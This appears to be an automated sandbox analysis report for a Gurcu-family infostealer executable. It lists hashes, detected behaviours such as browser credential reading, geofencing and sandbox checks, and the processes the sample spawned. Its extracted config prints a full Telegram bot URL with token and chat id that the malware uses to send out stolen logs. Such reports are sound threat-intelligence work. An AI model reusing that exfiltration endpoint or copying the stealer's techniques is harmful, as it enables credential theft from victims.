Analysis
-
max time kernel
96s -
max time network
100s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
13-12-2024 16:47
Static task
static1
Behavioral task
behavioral1
Sample
177a970a8a6c5e5e6b5c04c40bf3fe1c.exe
Resource
win7-20240903-en
General
-
Target
177a970a8a6c5e5e6b5c04c40bf3fe1c.exe
-
Size
5.6MB
-
MD5
177a970a8a6c5e5e6b5c04c40bf3fe1c
-
SHA1
64709ca99a03f416a854817427d4543043e204ad
-
SHA256
2a06b6535a0057b961f41e9b0790ffbc6f540566f2c21ae66cee4b61f5a360eb
-
SHA512
4c1c3716ec518102d16e11fbb84f0446d75cfc8db97a5635e4f71e407431b2a21bdb35bfa38e5414f28d044b176cfce044e5da0984c519713c0e3b82657a2317
-
SSDEEP
98304:aGl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6Uc:adOuK6mn9NzgMoYkSIvUcwti7TQlvciE
Malware Config
Extracted
gurcu
https://api.telegram.org/bot8137653339:AAG5i0WFhwI1I4U5IchQ2c9wOIxNBiamQsk/sendDocument?chat_id=6518356118&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
Signatures
-
Gurcu family
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe -
Loads dropped DLL 1 IoCs
pid Process 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 3 raw.githubusercontent.com 4 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 11 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe -
Suspicious behavior: EnumeratesProcesses 29 IoCs
pid Process 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2124 wrote to memory of 1420 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 85 PID 2124 wrote to memory of 1420 2124 177a970a8a6c5e5e6b5c04c40bf3fe1c.exe 85
Processes
-
C:\Users\Admin\AppData\Local\Temp\177a970a8a6c5e5e6b5c04c40bf3fe1c.exe"C:\Users\Admin\AppData\Local\Temp\177a970a8a6c5e5e6b5c04c40bf3fe1c.exe"1⤵
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2124 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpB287.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpB287.tmp.bat2⤵PID:1420
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
-
Filesize
200B
MD58db10ead3b5ab89d659ef41d97be0fd3
SHA13ce0f46c1dea8b1687538a8ab52d18b429590c1e
SHA2562de67065732bb6ff71ea9e400bc81dfbf801c341cd4a48879e82af01382bc5c4
SHA512e539e28ad3f00fd0e82a7d4c2b59cba0cb5c99522582d8114e4437c0b7b28276f8279af2ea2ccdcda06eb91267c0bd9aa8e61703138a2471a7278cee59145ea3
-
Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84